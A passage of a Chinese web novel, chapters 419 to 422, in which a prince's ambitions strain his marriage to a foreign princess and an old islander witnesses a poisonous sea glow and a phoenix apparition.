梅志煊并没有回答他的话,自顾自目不转睛地继续停留了一会儿,最后吐了口浊气,方才命令道:“走吧!” 俩人遂一前一后策马进了城,梅志煊沉声问了句道:“事情都准备的怎么样了?” 紧随其后的侍卫认真回答:“一切都在紧罗密布地进行着,殿下放心!” 顿了顿,梅志煊依旧小心翼翼地提醒了句:“此举只准成功,不许失败。若是失败,到时候怕是就不止本皇子一人性命不保了。那无数的将士,就连本皇子的……” 话说至此,似是都不敢继续往下想了去。 如今的他,潜伏秘密准备了那么多年,早已是箭在弦上,不得不发。 他,再也回不了头了。 而轩辕玥和他那刚满月的亲骨肉——海儿,便是他所有完美精细的计划中唯一的异数。 到如今,他已经想不起,自己究竟是如何允许她走进自己心里的。 他给他们的孩子取名叫“梅海”,乃正所谓是“海纳百川,有容乃大。” 这是多么美好的祝福,赐予他生命里所收到的最好的礼物。 这一路上,他想了很多很多…… 他与轩辕玥之间,从开始到现在,俩人从陌生到熟悉,从远到近,可又从熟悉似乎渐渐变得陌生起来,俩人之间的距离亦从近慢慢又恢复到最初的遥远。 这世间,究竟到底有多少男男女女像他们这样。随着时光慢慢的流逝,彼此越来越琢磨不透彼此。 他们之间,真的还信任对方吗?真的曾经爱过对方吗?他不知道,他不知道自己是否真的可以相信她。 无论他做什么,她,真的会一直始终都坚定不移地陪在他的身边,不管未来会变成什么样子?! 如果自己的一切计划都顺利,如自己所愿,他得到了自己想要的一切,甚至整个灵空大陆。 到时候,忠与孝,家与国,母与子,太多太多的选择,太多太多的难以割舍,她又将该如何面对…… 一念至此,他忽然心乱如麻,只觉心中如同此时所置身于的四周这片繁华的街市,再次陷入了沸腾之中。 前方不远处,东宁皇宫的一处幽静院落里。 主人之心,田园诗意,一院一舍,一花一木,归迹自然,不喧不扬。 一夜西风,黄金满地。那枝头的残叶,好像是晚春的黄蝶,恰好地点缀着。 雁子南飞,清秋点点,万千繁华皆是梦。在秋的眉眼里,雕刻着隽永的梦。 朔风乍起。 庭中红叶、院间银杏不时飞舞着,白天看起来恰似那掠过书房窗棂的鸟影;晚间扑打着屋檐,使人瞬间只想到淅淅沥沥的落雨。 深秋,是人约黄昏后,是离人心上秋。是汉宫秋月,是展颜回望的素衣女子,是一幅绝美清远的画卷。 在这静止的画面里,一小宫女的出现忽然打破了整个院落的宁静。 只见她双手提着裙摆,步履匆匆地从门外进来,沿着走廊直急奔向书房而去,进入到屋内近身到轩辕玥的身边,满心欢喜地禀告道:“启禀公主,三皇子殿下回来了!” 然屋内正在专心习字的轩辕玥脸上,却并未展露出小宫女所期待的那种欣喜。 却终究是难掩心中的一丝激动,方才一直稳稳握着的如行云流水般的笔头不经意地纸上顿了一下。 尔后,又沉着气继续将余下的几个字认真地书写完,方才放下笔来,将刚刚完成的字从书案上拿起轻轻吹了吹,柔声念道:“夜来幽梦忽还乡,小轩窗,正梳妆。相见无言,惟有泪千行。” 话音刚落,耳边便传来了颇为熟悉的声音…… 第四百一十九章:我很想你 “夜来幽梦忽还乡,小轩窗,正梳妆。相见无言,惟有泪千行。” 话音刚落,耳边便传来了颇为熟悉的声音道:“玥儿。” 随之,书房门上的卷帘被一直守在门外的俩名婢女轻轻掀起,跟着现出了那个依旧如初见般墨发半束,温润如玉的白袍公子身影,翩翩跨进了门来。 尚还来不及收拾起自己凌乱的心情,看到如此充满回忆的一幕,轩辕玥不禁朝其微微怔了一下。 继而忽地回过神来,放下手里的字画,疾步离开书案边,上前近身了过去欠身道:“殿下回来了!” 梅志煊忙伸手上前将其温柔地扶起,握着她的一双纤纤玉手一脸抱歉地道:“玥儿,对不起。本以为应该可以赶得上海儿的满月宴,启料终究还是错过……” 轩辕玥听了,忙伸出两根手指来将其那张自从昨夜离开,至今都尚还滴水未沾的凉凉的薄唇轻掩,体贴又温柔地道:“国事为大,殿下不必向玥儿解释,玥儿心里都明白。殿下放心,玥儿自会替殿下照顾好海儿。” 屋内的婢女们见此,纷纷悄步退了下去。 听了轩辕玥此番温暖贴心的话语,梅志煊那无比复杂而又矛盾的内心里千言万语,最后只化为一句深情的道:“玥儿……” 顺势,便将其一把深深地揽入到自己的怀中,紧紧拥住。 抱着她柔软温热的身子,感觉依旧如往日里的那样使自己安心。 一开始,他只是想要利用她,找到西秦守护者的下落。可如今,他却是如此地贪恋上了她的温度。 无论他走到哪里,亦或做什么?他都知道,永远有一个人一直在这里等他…… 过去拥她的每一次,他都感觉似乎自己多年以来从心里到身体上所遭受的所有冷眼相待和不公平,瞬间全都被其彻底融化驱除。 他的心底,是多么渴望永远完完整整地拥有这股温暖,即便是天荒地老,海枯石烂,他们也绝对会不离不弃地在一起。 可是,他可以吗?这可能吗? 未来总有一日,不,如今看来,或许很快,她便会入骨地恨自己,他将会永远地失去她…… 然这一刻,他只希望时光的脚步能停留一会儿,至少慢一些,再慢一些…… 让他就这样拥着她,让她就这样在自己的怀里乖乖呆着,俩人之间不需要任何言语,却胜似无数。 启料没过多久,轩辕玥竟忽然在他的怀里胡乱动来动去,变得不安分起来,最后将其怀抱挣脱,柔声细语道:“殿下多日未见海儿,海儿长大了不少呢!如今,他都已经会……” 话未说完,怎料梅志煊竟突然眼里充满了情欲,忽的朝其俯身了下去,她来不及任何一点点的防备,便被其一吻封唇。 她瞪大了眼睛看着眼前的这张脸,此刻熟悉却又陌生的那张精致的脸,恍恍惚惚,慢慢陷入了他柔情的迷离之中…… 不知不觉,她缓缓地阖上了温柔的双眸,任由他霸道的拥吻。 从绵软的红唇开始一路向上,点过鼻翼、流连于她的眉眼,额头…… 接着又一路向下,滑过她早已潮红的脸庞,秀美的耳廓,细长的脖颈,最后将头深埋于她的肩窝…… 一阵阵酥麻感随之袭遍她全身,她似是都快要无法站稳,屏住呼吸不敢动弹半分,一双玉手悄悄抬起轻轻地附在他的腰间。 怎知这还不够,梅志煊竟猛地伸出一手过来,从轩辕玥的腋下将其一把横抱了起来。 “殿下这是要做什么,快放我下来。”轩辕玥霎时清醒睁开了双眸,猝不及防,大惊失色道。 “玥儿,玥儿,我信你,我知道你会把海儿照顾地很好。但是此刻,我很想你,我想要你。”梅志煊亦迷离又深情的看着她的眼睛道。85 “现在?” 轩辕玥双臂环抱着他的脖颈,看了看周围明亮的白昼天,闪避开他的眼睛,一脸绯红羞涩地道。 梅志煊极为认真地点了点头,自顾自兀自踱步将其抱进了内屋的榻上,轻轻放下。 幔帐落下,将伊人的衣带轻解,露出一个袅娜的纤细腰线,光亮白皙的肌肤,彼此深情对视着。终于,唇齿纠缠,俩个炙热滚烫的身体深深地纠缠在一起…… 几番云雨后,眼看着西窗外夕阳西下,轩辕玥着实被折腾坏了,终于沉沉地睡了过去。 梅志煊温柔地朝着眼前这对欲拒还迎,欲罢不能的眉眼端详了许久,方才悄悄抽出被压在轩辕玥身下的一只强而有力的臂膀。 紧接着,又在其额头小心翼翼温柔地落下了一吻,方才缓缓起身来,为其拈好被角,拉好帐幔,更衣走出了内屋。 来到书房环视了一圈,最后举步到书案边上拿起案上轩辕玥方才练好的字画,轻声地诵道:“夜来幽梦忽还乡,小轩窗,正梳妆。相见无言,惟有泪千行。” 读完内心沉重地思量了许久,最后终是口中喃喃细语了句:“玥儿,对不起。” 转眼已是华灯初上。 书房内,明亮的烛火照耀下,梅志煊手里拿着一本古籍看得入了神。 当他忽然意识到门口正默默立着端详自己的轩辕玥的身影,梅志煊嘴角上扬,勾出一抹好看的弧度来,对其轻声地关切道:“我方才已经看过海儿了,他很好,也已经安睡了,你不用担心。怎么不多休息会儿?月子里一定累坏了!” “方才做了一个梦,醒来后就再也睡不着了!”轩辕玥一边说着,一边缓缓迈步近身到梅志煊的身旁为其温柔地揉起肩来。 闻此,梅志煊似是想起了什么,瞥了眼书案上轩辕玥所书下的那几行字,眉头皱了皱,却并未按她的话接上去。 只是顿了顿,他忽然伸出一只手去轻抚了抚轩辕玥搭在自己肩上的手,试探着问:“玥儿,你为何从来都不问我整日里在外都忙些什么?” 眼睛怔了一下,沉默了半晌,轩辕玥沉声地道:“殿下,其实玥儿不必问,我也知道你在想什么,做什么?” 此话一出,一室寂静,俩个心知肚明的人儿就这样都沉默了起来。 不知过了多久,终是轩辕玥忍不住先开口将这片令人窒息的死寂打破:“虽然玥儿深知殿下的宏图大志不容任何人置疑。但是,玥儿还是想说,殿下有没有一丝丝的可能,为了我和海儿,放弃你的计划?” 闻此,梅志煊脸上的笑意顿时卸去,合上手里的书籍放下,默默起身来走到窗前,双手负后着静静望着窗外寂静的一片暗夜。 轩辕玥见了眉头深锁,上前两步继续道:“自从玥儿在西秦国的街头第一眼见到殿下,便认准了殿下,此生非殿下不嫁。虽然在远嫁东宁前,玥儿心里也已经将事情所牵扯的方方面面全都仔细认真地思考过千遍万遍。我侥幸地以为,灵空之争,或许是在很久以后才会发生的事情,那我又为何要杞人忧天,错失良人呢?!” 轩辕玥着实没有想到,她所担心的一切会来的如此之快:“可自从西北大战以后的各国俱都积极备战起来的局势来看,玥儿真的错了。原来灵空之争,已是近在咫尺。” 至此,梅志煊终于正面开了口:“既然你都明白,那也应该了解,因此我才要努力赢得这场战争的最后胜利。只有这样,才能让你和海儿永远立于不败之地,受万人敬仰,而不是任人鱼肉。” “可玥儿并不想受万人敬仰,玥儿只想和你,还有咱们的海儿一起平平安安,快快乐乐地过一生。殿下难道到现在还不明白玥儿吗?”轩辕玥情绪似是有些激动,就连说话的声音都有些颤抖。 孰不知听这些话的梅志煊此刻胸间比她更要汹涌澎湃,道:“你生来就是一位骄傲的嫡公主,被西秦皇室和子民们捧在手心里呵护着,尊敬着。你可知我,在这表面上看似偌大个富丽堂皇的宫殿里。我从小到大,遭受过别人多少冷眼,受了多少委屈和侮辱。就连给我生命,生我的婢女都没有活着的资格,她遭人陷害,被人侮辱,不得已硬生生地悬梁自尽而亡。” 说着,他猛地一转身,方见那张不知何时已近乎于狰狞的脸,忿忿地盯视着轩辕玥的眼睛道:“这一切的一切,总该有人来为此承担罪责吧!” 轩辕玥见此又害怕又心疼,柔声地劝:“殿下,如果你不能彻底忘记心中的仇恨,那又如何去真心地爱别人呢?以怨报怨,到最后,只能是无休无止的仇恨,最终将自己淹没。” 梅志煊甩了甩衣袖,依旧执迷不悟,固执地道:“我不在乎,只要将他们全部都踩在我的脚底下,向我俯首称臣,我便是这灵空上唯一的主人,谁都阻挡不了我做任何事情!他们曾经给予我的伤害和羞辱,很快,我便要他们全都千倍万倍地偿还回来。” “很快……殿下的意思,莫不是你已经……”听了这句话,轩辕玥瞬间惊呆了。 第四百二十章:陌上谁家年少 梅志煊甩了甩衣袖,依旧执迷不悟,固执地道:“我不在乎,只要将他们全部都踩在我的脚底下,向我俯首称臣,我便是这灵空之上唯一的王,谁都阻挡不了我做任何事情!他们曾经给予我的伤害和羞辱,很快,我便要他们全都千倍万倍地偿还回来。” “很快……殿下的意思,莫不是你已经……”听了这句话,轩辕玥瞬间惊呆了。 她这才忙从头到脚仔细打量起了梅志煊,半晌后最后将目光久久停留在了他那张看似颇为胸有成竹的脸上。 方才回忆着后知后觉地意识到面前的这个人,其实自从上次由北烈回国后,便与以前早已不同了。 看到轩辕玥异样的目光对自己传来,梅志煊这才意识到自己似是失了言,瞬间将目光从轩辕玥的脸上挪开,转身将其躲避到了窗外的一片漆黑夜色里,试图遮掩自己的内心。 轩辕玥心里实在难以相信,可直觉又是那般的肯定。 对着他的背影怔了会儿,她甚至只能提着气探问道:“莫非,莫非殿下你真的已经,已经寻得了她。” 闻此,梅志煊心里顿时咯噔一下,却还假装一无所知地继续道:“寻得什么?你在说什么?我听不懂!” 他此刻越是故作糊涂,轩辕玥的心里便越是肯定。 恰时,一阵萧瑟的秋风经窗而入,将书案上的烛光袭地忽明忽暗。 一丝凉意袭来,她紧了紧披在身上的粉紫色外衣,心里顿觉一阵悲凉袭遍全身。 事情如今都已经到了这种地步,没想到梅志煊还在企图想要瞒着她。 轩辕玥思量再三,暗自咬了咬牙,终决定将一直以来存在于俩人之间的那层彼此其实都心知肚明的薄薄的窗纸捅开。 只见她定了定神,尔后缓缓踱步到书案边上坐下,拿起自己思乡思国的字画瞧了会儿,开口说道:“玥儿说的,是我西秦守护者的那股强大力量。殿下是不是已经找到了那股力量,并已得到了她。” 果然,轩辕玥此话一出,一室寂静,梅志煊并没有一丝的矢口否认。 “哼……”见此,轩辕玥发出似是自嘲般冷冷地一声哼笑。 又抬起头来看着梅志煊此刻心虚极了的背影,问:“殿下以为,一直以来,玥儿不知道殿下的本意是想从玥儿的身上探取我西秦守护者的秘密,方才答应和亲的吗?” “我……” 此刻,这个“不”字梅志煊的确是说不出。 见他即便连敷衍之词都没有,轩辕玥的心顿时冰凉到了极点。 她缓缓起身走到书案边的烛光下,拿起一把锋利的剪刀一边将多余的烛心剪掉,一边回忆着道:“当初你东宁国本是拒绝和亲的,但后来你却忽然只身出现在我秦皇叔的面前,亲口答应了和亲之事。秦皇叔早知你虽是东宁皇室,却并不被东宁老国君所看重。更查得你表面上看似与世无争,却是一直都野心勃勃,便知你一定会有所布置。在我嫁来东宁的时候,秦皇叔便已经猜到了你的意图。” “既然你们都已经猜到,那你为何还要嫁于我?将自己置身于这等两难的局面?”梅志煊双手负后,沉声着问。 “为什么?”轩辕玥冷冷地笑了笑,道。 芯落烛明,顿时屋内变得亮了许多,轩辕玥轻轻放下手里的剪刀。 兀自回头向着梅志煊孤独的背影近身走了过去,止步朝其入神地凝视了许久,蹙眉柔声道:“云髻坠,凤钗垂。髻坠钗垂无力,枕函欹。翡翠屏深月落,漏依依。说尽人间天上,两心知。秋日游,落花吹满头。陌上谁家年少,足风流。妾拟将身嫁与,一生休。纵被无情弃,不能羞。” 闻此,梅志煊顿转回头,看着轩辕玥红红的眼眶,心都碎了。 他疾步上前伸手将她一把揽入到自己怀中,垂首下去在其额头深深地落了一吻,后将自己光洁的下巴抵在她的额头,抱紧她深情地道:“玥儿……” 一个熟悉的拥抱,一声发自肺腑的呼唤,使得轩辕玥早已噙满眼眶的泪水瞬间从脸颊滑落了下来。 “请殿下就听玥儿一回,只这一回。余生,玥儿其他的全都听殿下的,可好?”轩辕玥依偎在梅志煊宽阔的胸膛里,依旧试着劝解道。 见其不出声,轩辕玥继续努力:“殿下你即使赢得了任何人,但你根本就不可能赢得过秦皇叔。以卵击石,意气用事,殿下必将落败。一场战争,会令世间多少夫妻阴阳两隔,又使多少家庭支离破碎,多少无辜的孩子失去至亲,孤苦一生……”九六味 此时此刻,梅志煊的心里着实感动极了,他竟不知,一直以来,轩辕玥对自己的心竟是如此的单纯。 任凭轩辕玥此刻说什么,他现在什么都不想理会,只想这样紧紧地拥着她,感受她的温度。 恍然间,轩辕玥却似是突然又明白了什么,口中低声喃喃自语道:“母后曾说,西秦守护者只听命于西秦国的真命天子。可父皇在位多年,西秦国可谓是多灾又多难。朝中各势力早已是都倾向了秦皇叔那边。玥儿后来思之又思,莫非宫中传闻了多年说当年是父皇夺了本该属于秦皇叔的位置,这才无缘得到守护者的庇护?” 轩辕玥只顾自说自话,确是越来越惊讶:“传说守护者与西秦天子之间心有灵犀,如此说来,守护者一定是也感应到了这个秘密。所以,这些年,守护者她并不是失踪了,而是一定在某个角落里支持秦皇叔了。难道,秦皇叔早已秘密找到了守护者,却并未上报给朝廷?” 一念至此,她恍然大悟,眉头越皱越紧,忽然一把挣开了梅志煊的怀抱,着急地问:“殿下你所找到的守护者从何而来?她究竟是谁?现在哪里?据母后所说,那可是一个世间颇为美貌又神奇的女子呢!” 然梅志煊却自顾只温柔地将一手搭在轩辕玥的肩膀上,满脸宠溺地用另一手揩了揩她笔挺秀美的鼻梁,道:“玥儿,这一生都不要为我担心,为了你和海儿,我发誓,我一定会好好的活着。” “殿下若是真为了我和海儿,就请你放弃……” 轩辕玥看似势不做罢,坚持着一定想要梅志煊妥协退出战争,然梅志煊却忽地伸出两只手指来轻轻掩住了她温热激动的红唇:“嘘……” 眼中充满了迷离,又夹杂着许多难以言表的情愫,他俯身下来在其耳边柔声说道:“玥儿,听话。不要再说了,窗外夜已深了,我们还是早些回房歇息吧!” 瞬间读懂了他话里对她满满渴望的轩辕玥,脸上忽然泛起了一圈圈红晕,似是本能一般地闪躲开他柔情的双眸,道:“殿下赶路累了一天,您先回房歇着,玥儿已经半晌未见海儿,心里着实有些放心不下。玥儿还是亲自过去瞧一瞧才能安心。” 梅志煊无奈地答应道:“也好,那你早些回来歇息。” 轩辕玥轻声道:“嗯。” 梅志煊说完,便大步朝着书房的门走了出去。 轩辕玥再次回到书案边坐下,忧心忡忡地自言自语道:“殿下,他难道真的已经找到了西秦守护者么?” 话刚出口,却又立即否认:“这不可能,殿下他不可能从秦皇叔的手里抢得走如此这般重要的一个人。” 一阵风袭来,她遂将目光移向了随之摇曳不定的烛光之上。 夜风过后,看那一朵接一朵的烛花闪耀所迸发出的瞬间光亮,她稍加回忆,又猜测道:“若是殿下他真的寻到了守护者的话,莫非难道是我猜错了,难道秦皇叔,他至今也从来未曾遇见过守护者?” 一切的一切,其真相究竟是什么呢?她在心里问自己。 百思不得其解,或许,是时候该和那个让她既敬重又忌惮的秦皇叔联系联系了。 自从西北大战结束后,她从母后那里秘密得知了秦皇叔在战场上染上重病,一病不起,也不知现在已经如何了? 时间都已经过去了那么久,也不知道秦皇叔到底有没有寻到关于衣上云,那个可怜的丫头的一丁半点儿消息。 然一想起衣上云来,她的思绪不知不觉中再次被无情地拉长,怀念起在母国无忧无虑的那些日子来。 屋内一角上,窗外清冷的月光不知何时悄悄洒了进来,照在冰凉空旷的地板上,显得是那样的幽冷,一如她此时的心情。 然抬头望向窗外的夜空,在那高高悬着的一轮明月的周围簇拥着的颗颗繁星却越发地灿烂耀眼。 她觉得,此情此景,眼前这般的繁华景象太不合时宜,却也颇为现实。 你伤心,难道全世界就要陪你一起哭吗? “云儿,你到底在哪儿?你可知,我们以前的那些快乐时光,此生再也不会有了。” 说着说着,她长长的叹了口气,收回视线来缓缓起身,踱步走出了书房的门。 这一夜,注定无眠。 同样的夜里,在距离皇宫不远处的幽蓝岛上,却正在悄悄发生着一件大事…… 第四百二十一章: 凤凰入海,幽光散 这一夜,注定无眠。 同样的夜里,在距离皇宫不远处的幽蓝岛上,却正在悄悄发生着一件大事…… 沉沉的夜幕里,天际上撒满了光彩夺目的星斗。 此时的海水,已不再像暮霭西沉时那般汹涌。奔腾咆哮了一整天的大海,随着夜色愈来愈深终于变得平静了下来。 这如墨的夜色恬静而美好,微风荡漾,撩人的夜色渐渐模糊了大海与陆地的边界,一切都看似好一副岁月静好的样子! 在这静默的暮色中,没有波涛的海浪,没有如山重的压力,静的好像只能听到自己的呼吸与小岛沉沉的酣睡声…… 然在这静谧美好的夜色里,打从梅志煊离开了小岛后,白胡子老翁却陷入了自己沉沉的回忆当中…… 他坐在外屋,一边守着内屋榻上至今依然昏迷沉睡着的女子,一边回忆思索着自己的一生。 许久后,一阵海风吹了进来,他方才长长的舒了口气,缓缓开口自言自语地道:“婉儿,你的煊儿已经长大了,你在天有灵可都看到了么?” 许是回忆里有太多的心酸,他年迈昏花的眼睛里有些湿润,不紧不慢地执起一只衣袖来拭了拭,又道:“这些年,他一个人在那个偌大的皇宫里摸爬滚打,独自应对各方势力。他真的很勇敢,很坚强,做的也都很好。” 说着说着,脸色又慢慢转沉了下来:“可是,方才,今夜里所发生的事情,他…他方才所说的那一席话…你可都看到,可都听到了?” 想了想,他自责极了,哽咽着道:“婉儿,对不起。当年,为师真不该对你如此严厉,以至于你因为采错了一味药材便被责罚,后被坏人拐骗带到了宫里。这一切,都是为师的错,是为师没有照顾好他,是为师没有用。早知道会有今日的大祸临头,当年无论说什么,在你死后为师就算是粉身碎骨,都该把他从那个金丝牢笼里给带出来,可……” 又是重重地一声叹息,紧接着拭了拭眼角的泪水,脸上忽露出了一丝让人很难察觉的笑意,说道:“嫡皇后娘娘,她可是个大好人啊!当年,得知了你的突然离世,为师便乔装到宫中去查明你的死因,不慎被人发现。若不是嫡皇后娘娘帮助为师脱身,为师怕是绝对活不到今日的。看到嫡皇后娘娘对煊儿尤为上心照顾,煊儿也很是听嫡皇后娘娘的话,为师亲眼看到煊儿快乐地在她的身边生活着,知道他一定会比在为师身边好。可为师万万没想到……嫡皇后她……她后来竟然会发生意外!” 过去的往事一幕幕,确似正是昨日刚刚发生过的事,白胡子老翁即使至今回忆起来亦是甚为赞叹不已:“嫡皇后,她仁心仁术,救苦救难,真的是世间难得的好人呢!” 而一说起让他一辈子至今心里都钦佩不止的嫡皇后来,榻上的女子模样忽又浮现出脑海。 他的目光逐渐转望向内屋的方向,喃喃低语道:“婉儿,煊儿说里面的那位姑娘,便是嫡皇后娘娘遗落在西秦国,留在这个世上唯一的血脉。” 说完顿了顿,他着实惊诧极了:“婉儿你知道吗?煊儿起初刚带这位姑娘来幽蓝岛的时候,为师差点以为是嫡皇后娘娘回来了呢!她果然和嫡皇后娘娘长得一模一样。不过,为师想,任谁都想不到,嫡皇后娘娘,她竟会是多年前西秦国遗失了的守护者后人,这可真是太可不思议了!谁会想到西秦守护者后人,竟然会成为我东宁国的皇后。” 然惊叹之余,他又甚是忧心:“可煊儿他……他如今却想利用这个善良的女子,来成全他的勃勃野心!” 深深地吐了口浊气,白胡子老翁问道:“婉儿,恩将仇报,终有一日必会自食恶果。你说,为师究竟该怎么办?” 正在沉思,门外忽然隐隐约约传来一阵婢女绿儿急促的脚步声。 “咚咚咚,快开门,爷爷,爷爷,大事不好了,大事不好了!” 伴随着一阵紧急的叩门声和呼叫声同时响起,白胡子老翁蓦然清醒过来,紧忙拾起身旁的拐杖,起身将木屋的门打开。 “绿儿,这深更半夜的你不好好睡觉,跑来这里大喊大叫做什么?” 绿儿用力地吞咽了下口水,继而紧忙地道:“爷爷,爷爷,大事不好了,大事不好了!” “你如此慌张,到底发生了什么事?”白胡子老翁不明所以地问。 绿儿似是已经都不能完整地说话,伸手一把紧紧地拽住白胡子老翁的胳膊,着急地道:“爷爷,您赶快去海边瞧瞧,快点,快点啊!” 闻之,白胡子老翁顿时眉头紧锁,一边跨出门槛来,一边将木屋的门急急拉上。 继而转身目光定定地看向东方,在绿衣少女的搀扶下一边疾步过去,一边口中纳闷地道:“海边?” 在一片静静的海岸上,不知何时起,悄悄散发出来一层层蓝色的幽光来。 随着海水不断的上涌,那蓝色幽光被海浪冲到岸边连绵成片,闪烁发光的海水一浪又一浪地涌到岸边,一切都显得是那样的神秘,犹如是夜空里璀璨的星河。 夜间的海洋,在逐渐变成一片又一片似是会发光的星星一般,与海水沙滩相互交汇在一起。 远远地看去,那晶莹剔透的蓝色光芒在海面上一闪一闪,似是形成了一条条梦幻绚丽的蓝色亮光,如同星辰坠落大海。让人错误地以为是夜幕下,蜿蜒的海滩星海辉映。三月中文 很快,白胡子老翁和绿衣少女便步履匆匆地来到了这片沙滩上。 白胡子老翁远远地一看到眼前的震撼景象,顿时瞪大了双眼,心里早已经惊呆了:“这……这是怎么回事?” 俩人一近身过去,白胡子老翁便挣开了绿衣少女的搀扶,兀自一人拄着拐杖踉踉跄跄地朝眼前此时这片面积已经扩散的越来越大的幽光海走了过去。 “老天爷啊,这,这到底是怎么了啊?” 四处观察了许久,白胡子老翁对着眼前这片似是如洪水猛兽般的异象,惊叹极了地道。 其实,白胡子老翁的一生都是在这里度过的。而此时出现在眼前的这片幽光海,便是他穷尽一生所研究的奇特现象,所以并不是第一次遇见。 可是,像今夜这般如此大规模面积的,却是他这一生都不曾见到过的。 若是不了解的人见了这幅景象,看到那随着潮水的波动,蓝色星河海浪拍打在岸边及礁石上,所泛出晶莹剔透的蓝色光芒。会觉得此情此景,奇妙非常,浪漫至极! 可只有他知道,这并非什么浪漫之景,也绝不是什么美轮美奂之象,而是一种灾难。 孰不知,这海水中所发出来的幽光乃是一种巨毒。 他用尽一生,研究发现,当这种幽光毒达到一定量的时候,将会改变整个东宁国的水质和土质,还会散发到空中污染空气,生出更多的其它病毒,使得所有被污染的生物致病,甚至……还有更多的可能。 “爷爷,这该怎么办才好啊?” 绿衣少女朝着白胡子老翁身旁近身过去无助地问。 白胡子老翁抬头看看时辰,亦是纳闷不解地道:“根据以前的观察,此等景象很难长时间持续,我们再等等吧。” 俩人回坐到海滩上的大岩石上,等啊等,时间一分一秒的过去,可面前的幽光面积不但没有丝毫的消退,反而越来越大,似乎目所能极的地方,已经全部被蓝色幽光所布满。 “再等等,在如此安静的环境中,依照我们过去的经验,幽光应该很快就会黯淡下来的……” 白胡子老翁再次看了看天色,故作镇静地说,可心里却清楚地知道今夜的景象绝对不正常。 眼看着天边即将就要露出第一抹亮光来,忽然,夜幕上缓缓出现了犹如抽丝一般,从木屋所在的方向缓缓抽出一缕一缕的七彩光芒来。 那丝丝缕缕的七彩光芒越来越多,渐渐汇集,最后竟合成了一只巨大的七彩凤凰虚影。 那凤凰虚影盘旋在木屋的上空,扑闪着其美伦美焕的七彩羽翼,似是在渐渐升高,升高…… 就在白胡子老翁和绿衣少女俩人都一起朝其瞪大了眼睛,惊呆了的时候。 那七彩凤凰虚影竟开始缓缓地移动了起来。 没错,它,飞起来了。 遂发出一声鸣叫,撕破了整片夜空,一边拍打着那七彩的羽翼,一边朝着白胡子老翁和绿衣少女俩人所在的方向直冲了过去。 白胡子老翁和绿衣少女目不转睛地高高昂起头来看着七彩凤凰虚影从俩人的头顶飞过。 最后,它停留在大海中央,又缓缓回首过来,像是定定地看着他们俩人,又像是在依依不舍地凝视着木屋的方向。 就在俩人不知接下来会发生什么而面面相觑时,那立于海中央的七彩凤凰虚影忽然散落,化为了无数的星星点点,缓缓落入了茫茫大海之中。 白胡子老翁目瞪口呆地看着眼前的景象,许久不能反应过来。 不知过了多久,绿衣少女清脆悦耳的惊喜声在他耳边不断响起:“爷爷,快看,幽光消失了,幽光消失了……” 白胡子老翁转头看着少女甜美的笑容,终于露出了微微的一笑。 就在这时,天边的一道光撒下,漫漫长夜过去,终于天亮了…… 第四百二十二章:幽蓝岛的神秘来客 终于,天亮了。 海边的木屋里,隐隐约约传来榻上已经昏迷沉睡了不知多久的女子仿佛梦魇中一般的阵阵喃喃声音。 “魏明轩,魏明轩你究竟去了哪里?” “殿下,云儿对不起你,都是云儿害了你,云儿是罪人,殿下……” 忽然,眼珠子微微动了动,竟缓缓睁开了眼来。 女子遂坐起身来仔细地打量了一番周围陌生的环境,一袭白衣飘飘,长发随意散落着就这样打着赤脚踩着地板,内心深感好奇地下地来朝向门口踱步过去伸手推开门跨出了木屋。 刚出门,一眼就望见了远处海天相接处的那一轮红,似是正在精心准备着喷薄而出。 一层薄云缓缓飘过,给红日蒙上了一层淡淡的薄纱。 她唯恐来不及,于是一提起裙摆来便开始奔跑,如同纯洁的圣女一般,她穿过树林里柔软碧绿如地毯的青草地,跨过林间涓涓细流的小溪,在早起觅食的鸟儿极卖力的歌唱声中满脸欣喜地一路寻觅而去。 便见半遮半掩间,红日一点一点跃出水面,金色的光照,在海面上似是洒下了一层层金色的鱼鳞。 秋风吹走了薄纱,那以打渔为生,晨起捕鱼偶尔经过的几只渔船,时不时将这宁静的海面上的幕布撕拉开来,复又合上,却是翻滚出了一层层金色的褶子。 最终,一轮红日跳出了海面,金色的光芒霎时间像是一道道无比锋利的利剑,齐刷刷射向小岛的每一个角落。 此时此刻,此情此景,置身于这晨光正好,海风不燥,花香鸟语,山水如同一副刚刚作好的水墨画般之间…… 面对着眼前如此动人心魄诱人的人间美景,女子瞬间惊呆了。 遂将嘴角微微上扬,勾出了一抹极好看的弧度,将那双世间难得好看的丹凤眼轻轻闭了起来,似是从未有过如此认真地用心深深吸了口周围满是难得如此清新干净的空气。 许久后,她睁开眼睛眺望着面前一望无际的茫茫大海,嘴里喃喃自语道:“如此人间仙境,这究竟是什么地方?” 孰不知,眼前自己所有的一举一动,竟早已被其身后不远处同样置身于此地来观看海上日升的另外两名男子看得历历在目。 稍时,一个声音忽然低低地响起:“主子,您瞧前边的那位姑娘,她像不像是,像不像是……” 话未说完,只见一个中等个头单手负后地笔挺立着,身穿一袭黄袍,腰间系着一块绝世美玉,面貌古拙,脸上带着很难被人察觉的一丝笑意,却更多的像是惊诧的中年男子忙伸出一手来将其剩余的所有话全都挡了回去。 一时间,突然周围变得很安静,很安静。 在中年男子的心里,此刻他着实觉得不可思议极了。他朝前方正在目光四顾着的白衣女子瞪大了眼睛,嘴巴似是都有些颤颤巍巍。 就在他瞩目朝其背影亦或侧脸端详了许久,似是终于鼓足了勇气想要迈开腿来上前两步,近身过去正面仔细看个清楚的时候。 不知为何,中年男子忽觉的一阵晕眩,于是忙抬起一手来扶着额头,启料脚下也跟着变得踉踉跄跄了起来。 终是眼前一黑,正要倒下,旁边手里持一长剑的像是其侍卫的年轻男子忙上前将其扶住,疾声大呼道:“主子,你醒醒,主子,你这是怎么了?” 顿时间,一阵阵嘈杂声传入到前方女子的耳边,女子被打扰,露出似是有些不悦地表情来,皱了皱眉。 觅声回头一看,见原是有人晕倒,忙提起长长的裙摆来三步并作两步疾跑上前到了两名男子的身边。 她倏地蹲身下去,一边仔细观察中年男子此时的情况,一边询问:“怎么了,怎么了?发生了什么事?” 那年轻侍卫一看到女子近身过来的正脸,顿时愣住了,又着急忙慌地道:“方才我家主人还好好的在和我说话,可不知道为何,忽然就晕倒了。” 那侍卫似是都快要急哭了:“主人,你这是怎么了啊,你可千万不能有事啊,不然我回去如何向……向那一大家子交代呢?” 吸了吸鼻子,又问女子道:“姑娘可知附近有没有懂得医术的人?我家主人年纪大了,又连日奔波劳累赶路至此,昨儿个一夜未眠。他不能有事,他不能有事啊……” 女子端详了中年男子一会儿,又听了那侍卫所说,似是心里已经有了判断。 “闭嘴,你可真是个唠唠叨叨的奴才,你家主人就算没事儿也快被你唠叨出事了。”唯美 